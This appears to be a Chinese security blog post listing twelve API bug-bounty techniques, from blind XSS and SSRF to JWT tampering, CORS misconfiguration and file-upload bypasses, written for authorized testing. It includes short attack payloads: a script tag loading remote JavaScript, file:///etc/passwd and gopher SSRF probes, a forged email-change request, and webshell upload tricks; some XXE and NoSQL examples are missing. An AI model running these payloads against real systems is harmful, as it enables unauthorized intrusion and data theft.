这12个API漏洞赏金技巧,你一定要在目标上试试!

一、引言

数字化时代,API(应用程序编程接口)已成为企业数据交互的核心枢纽。

然而,API暴露的攻击面正日益成为黑客攻击的主要目标。漏洞赏金计划(Bug Bounty Program)作为企业与安全研究人员之间的桥梁,为识别API安全漏洞提供了有效途径。

本文结合实战经验,讲解12种针对API的渗透思路,涵盖技术原理、操作流程及工具应用,旨在帮助少侠们提升漏洞挖掘效率,为企业构建API安全防护体系提供参考。

图片[1]-这12个API漏洞赏金技巧,你一定要在目标上试试!-隐侠安全客栈

二、十二种API测试技巧深度解析

1 通过请求头注入的盲打XSS漏洞测试

技术原理:  
盲打XSS(Blind XSS)是指攻击者注入的恶意脚本不会在当前页面执行,而是存储在服务器端日志或其他存储介质中,当管理员或其他用户访问相关日志时触发攻击。许多应用程序会将请求头信息(如Referrer、User-Agent)记录到服务器日志,若日志系统未对输入进行过滤,便可能引发XSS漏洞。

实践步骤

  1. 注入点识别:在Burp Suite中拦截请求,尝试在以下常见请求头中插入XSS payload:
    • Referrer
    • X-Forwarded-For/Host/Ip(反向代理场景
    • User-Agent
    • Cookie(部分场景)
  2. 自动化测试配置:  
    在Burp Suite的“Match and Replace”规则中设置正则匹配,自动将请求头中的目标字段替换为盲打XSS payload(如<script src=”https://your-domain.com/xss.js”></script>),并配置漏洞接收平台(如Burp Collaborator)监听回调。
  3. 验证与利用:  
    若接收平台捕获到请求,证明存在盲打XSS漏洞。可进一步结合CSRF或会话劫持实现完整攻击链。

工具与资源

  • Burp Suite正则匹配规则示例:
Match: Referer:.*  
Replace: Referer: {BLIND_XSS_PAYLOAD}  

2 遗留API端点探测

技术原理:  
企业在升级API版本时,可能未完全下线旧版本端点(如/api/v1),这些遗留接口通常缺乏最新的安全防护,易成为攻击入口。

实践步骤

  1. 版本号替换测试:  
    将请求路径中的版本号(如/api/v2)替换为/api/v1或直接移除(/api),检测是否返回有效响应。
  2. 子域名枚举:  
    对形如api-v2.example.com的子域名,尝试访问api-v1.example.com或api.example.com,利用Dirbuster等工具扫描隐藏目录。
  3. 权限验证:  
    若遗留端点返回数据,进一步测试是否存在未授权访问(如直接访问/api/v1/admin)。

3 服务器端请求伪造测试

技术原理:  
SSRF(Server-Side Request Forgery)攻击利用API对服务器端请求的处理缺陷,诱导服务器访问恶意URL,可用于探测内网服务、窃取敏感数据或发起攻击。

实践步骤

  1. URI替换测试:  
    当请求中包含URI参数(如image_url、redirect_url)时,将其替换为攻击者控制的URL(如http://your-vps.com/canary),并使用Burp Collaborator监听回调。
  2. 协议与端口探测:  
    尝试访问file:///etc/passwd、gopher://127.0.0.1:6379等协议,探测服务器是否支持危险协议或暴露内网服务。
  3. 自动化规则配置:  
    在Burp Suite中设置正则匹配,自动将请求中的URL替换为带标记的地址(如https://[CANARY_TOKEN]/),快速识别SSRF漏洞。

深入学习https://www.intigriti.com/researchers/blog/hacking-tools/ssrf-a-complete-guide-to-exploiting-advanced-ssrf-vulnerabilities

4 端点发现与攻击面扩展

技术原理:  
未公开的API端点可能存在未授权访问或逻辑漏洞,扩大攻击面。通过公开信息收集(OSINT)可发现隐藏端点。

实践步骤

  1. 代码仓库侦察(GitHub Recon):  
    使用关键词如site:github.com “api.example.com”搜索目标企业的代码仓库,查找硬编码的API密钥、端点路径或配置文件。
  2. 搜索引擎黑客(Google Dorking):  
    利用inurl:/swagger.json、filetype:json “api_key”等语法定位API文档或敏感文件。
  3. JavaScript文件分析:  
    通过浏览器开发者工具提取前端JS文件,解析其中的API端点(如fetch(‘/api/v3/user’))。
  4. Swagger文档枚举:  
    访问/swagger.json、/api-docs等默认路径,获取API接口定义及参数说明。

工具推荐

  • GitHub Advanced Search
  • GooFuzz(自动化生成Dork脚本)
  • JSBeautifier(解析混淆JS代码)

5 跨站请求伪造测试

技术原理:  
CSRF(Cross-Site Request Forgery)攻击利用用户已认证的会话,诱使其执行非自愿操作。API通常依赖CSRF令牌(如X-CSRF-Token)进行防护,但若校验逻辑存在缺陷,即可绕过。

实践步骤

  1. 令牌移除测试:  
    删除请求中的CSRF令牌字段,观察API是否允许操作(如修改邮箱、转账)。
  2. 令牌伪造测试:  
    生成相同长度的随机字符串替换令牌,测试是否通过校验。
  3. 内容类型绕过:  
    将请求头Content-Type从application/json改为application/x-www-form-urlencoded,绕过部分框架的令牌校验。
  4. 请求方法篡改:  
    将PUT、DELETE等方法改为POST,利用服务器对请求方法校验不严的漏洞。

示例对比

# 原始请求(JSON格式)
PUT /api/profile/update HTTP/2  
Content-Type: application/json  
X-CSRF-Token: valid_token  
{ "new_email": "user@example.com" }

# 篡改后请求(表单格式,无令牌)
POST /api/profile/update HTTP/2  
Content-Type: application/x-www-form-urlencoded  
new_email=attacker@example.com  

6 JWT令牌漏洞利用

技术原理:  
JWT(JSON Web Token)用于API身份验证,若使用弱签名算法(如none、对称密钥)或未验证签名,攻击者可篡改令牌内容(如修改用户角色为admin)。

实践步骤

  1. 算法检测:  
    解析JWT令牌(可使用jwt.io),检查alg字段是否为none或已知对称密钥算法(如HS256)。
  2. 令牌篡改
    1. 若alg=none,直接删除签名部分,修改 payload 内容(如”role”: “admin”)。
    1. 若为对称密钥,使用工具(如Hashcat)爆破密钥,或尝试默认密钥(如secret、jwt-secret)。
  3. 权限提升验证:  
    使用篡改后的令牌访问高权限接口(如/api/admin/settings),验证是否绕过授权。

7 绕过401/403访问控制

技术原理:  
HTTP状态码401(未授权)和403(禁止访问)通常由权限校验逻辑触发,但若校验存在漏洞(如路径过滤不严格、请求方法限制不足),可通过旁路技术绕过。

实践步骤

  1. 嵌套路径访问:  
    若/admin返回403,尝试访问其子路径/admin/system-logs或/admin/..,利用目录遍历漏洞。
  2. 特殊字符注入:  
    在URL中添加空格(/admin%20)、空字节(/admin%00)或CRLF(/admin%0D%0A),绕过简单的路径过滤规则。
  3. 请求方法篡改:  
    将GET改为POST或OPTIONS,部分服务器仅对特定方法进行权限校验。
  4. IP欺骗:  
    通过X-Forwarded-For: 127.0.0.1或Referer: https://example.com/admin伪造可信来源IP。

深入学习https://www.intigriti.com/researchers/blog/hacking-tools/broken-authentication-a-complete-guide-to-exploiting-advanced-authentication-vulnerabilities

8 CORS配置错误攻击

技术原理:  
CORS(Cross-Origin Resource Sharing)用于控制跨域请求,若配置为Access-Control-Allow-Origin: *且允许携带凭证(Access-Control-Allow-Credentials: true),攻击者可通过跨域请求窃取用户敏感数据。

实践步骤

  1. 响应头分析:  
    使用Burp Suite查看API响应头,检查Access-Control-Allow-Origin是否为通配符*,或允许任意域名(如https://attacker.com)。
  2. 跨域请求构造:  
    创建HTML页面,使用fetch()发起跨域请求:若返回敏感数据(如API密钥),则存在CORS配置漏洞。

示例响应头

HTTP/2 200 OK  
Access-Control-Allow-Origin: https://attacker.com  
Access-Control-Allow-Credentials: true  

9 条件竞争

技术原理:  
条件竞争发生在多个线程或进程同时访问共享资源时,若API未正确处理并发请求,可能导致数据不一致或逻辑漏洞(如重复支付、越权修改)。

实践步骤

  1. 目标端点识别:  
    关注涉及状态变更的高风险操作,如:
    • 文件上传(并发覆盖)
    • 订单创建与支付(重复下单)
    • 权限修改(同时申请与审批)
  2. 并发请求构造:  
    使用Burp Intruder的“Cluster Bomb”模式,设置多个线程同时发送相同请求(如/api/order/create),或结合Increments payload类型模拟递增参数。
  3. 漏洞验证:  
    监控服务器响应时间与数据变化,若出现订单重复创建或余额异常变动,表明存在竞争条件。

10 XML外部实体注入测试(XXE)

技术原理:  
XXE(XML External Entity)漏洞源于XML解析器支持外部实体引用,攻击者可利用此读取服务器文件、探测内网或发起拒绝服务攻击。即使API默认使用JSON格式,仍可通过修改Content-Type为application/xml触发XML解析。

实践步骤

  1. 请求格式切换:  
    在Burp Suite中将请求头Content-Type从application/json改为application/xml,并构造XML请求体:
  2. 外部实体注入
    • 读取本地文件:
    • 探测内网服务:
  3. 漏洞验证:  
    若响应中包含文件内容或内网服务器日志记录请求,证明存在XXE漏洞。

深入学习https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-advanced-xxe-vulnerabilities

11 NoSQL注入攻击

技术原理:  
NoSQL数据库(如MongoDB)使用文档型查询,若API未对用户输入进行过滤,攻击者可通过构造恶意查询语句绕过认证或窃取数据。

实践步骤

  1. 参数篡改:  
    在JSON请求体中修改参数为MongoDB查询操作符,例如:
  2. 布尔盲注测试:  
    使用$where字段执行JavaScript表达式,判断条件是否成立:若响应时间延长或返回特定结果,可推断密码中包含字符a。
  3. 权限绕过攻击:  
    构造空对象绕过认证:若返回有效用户信息,表明存在注入漏洞。

12 文件上传绕过技术

技术原理:  
API通常通过文件扩展名或MIME类型限制上传内容,但若校验逻辑存在缺陷(如仅客户端校验、未验证文件内容),可绕过限制上传恶意文件(如PHP后门、WebShell)。

实践步骤

  1. 扩展名绕过
    • 使用白名单扩展名的变体(如.phtml、.php7、.phar)。
    • 省略扩展名(如shell,部分服务器默认解析为脚本文件)。
  2. 空字节注入:  
    在文件名中插入空字节(如shell.php%00.png),绕过后端字符串截断校验。
  3. 魔法字节欺骗:  
    在文件头部添加合法文件的魔法字节(如PNG的89 50 4E 47),同时包含可执行脚本代码。
  4. 配置文件上传:  
    尝试上传.htaccess、web.config等服务器配置文件,修改请求解析规则(如将.png文件解析为PHP脚本)。

深入学习https://www.intigriti.com/researchers/blog/hacking-tools/insecure-file-uploads-a-complete-guide-to-finding-advanced-file-upload-vulnerabilities

三、总结

本文系统性地阐述了12种API漏洞赏金测试技巧,覆盖从信息收集到漏洞利用的全流程。少侠们在实践中需注意以下要点:

  1. 合法合规:始终在漏洞赏金计划允许的范围内进行测试,避免触犯法律。
  2. 工具链整合:结合Burp Suite、Postman、Python脚本等工具实现自动化测试,提升效率。
  3. 深度分析:不仅关注漏洞存在性,更要挖掘漏洞的潜在影响(如数据泄露范围、权限提升路径),提高漏洞报告的价值。
  4. 持续学习:跟踪API安全领域的最新趋势(如GraphQL漏洞、API网关安全),不断更新测试方法论。

随着API架构的复杂化,安全威胁也在持续演进。唯有将技术原理与实战经验相结合,才能在漏洞赏金领域中高效发现关键漏洞,为企业API安全防护提供有力支撑。

参考文献:  
[1] Intigriti Research Team. Hacking Tools Series [EB/OL]. https://www.intigriti.com/researchers/blog/hacking-tools  
[2] OWASP API Security Top 10. [EB/OL]. https://owasp.org/API-Security/

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

THE END
少侠喜欢就支持一下吧
点赞3 分享
评论 抢沙发
头像
欢迎少侠留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容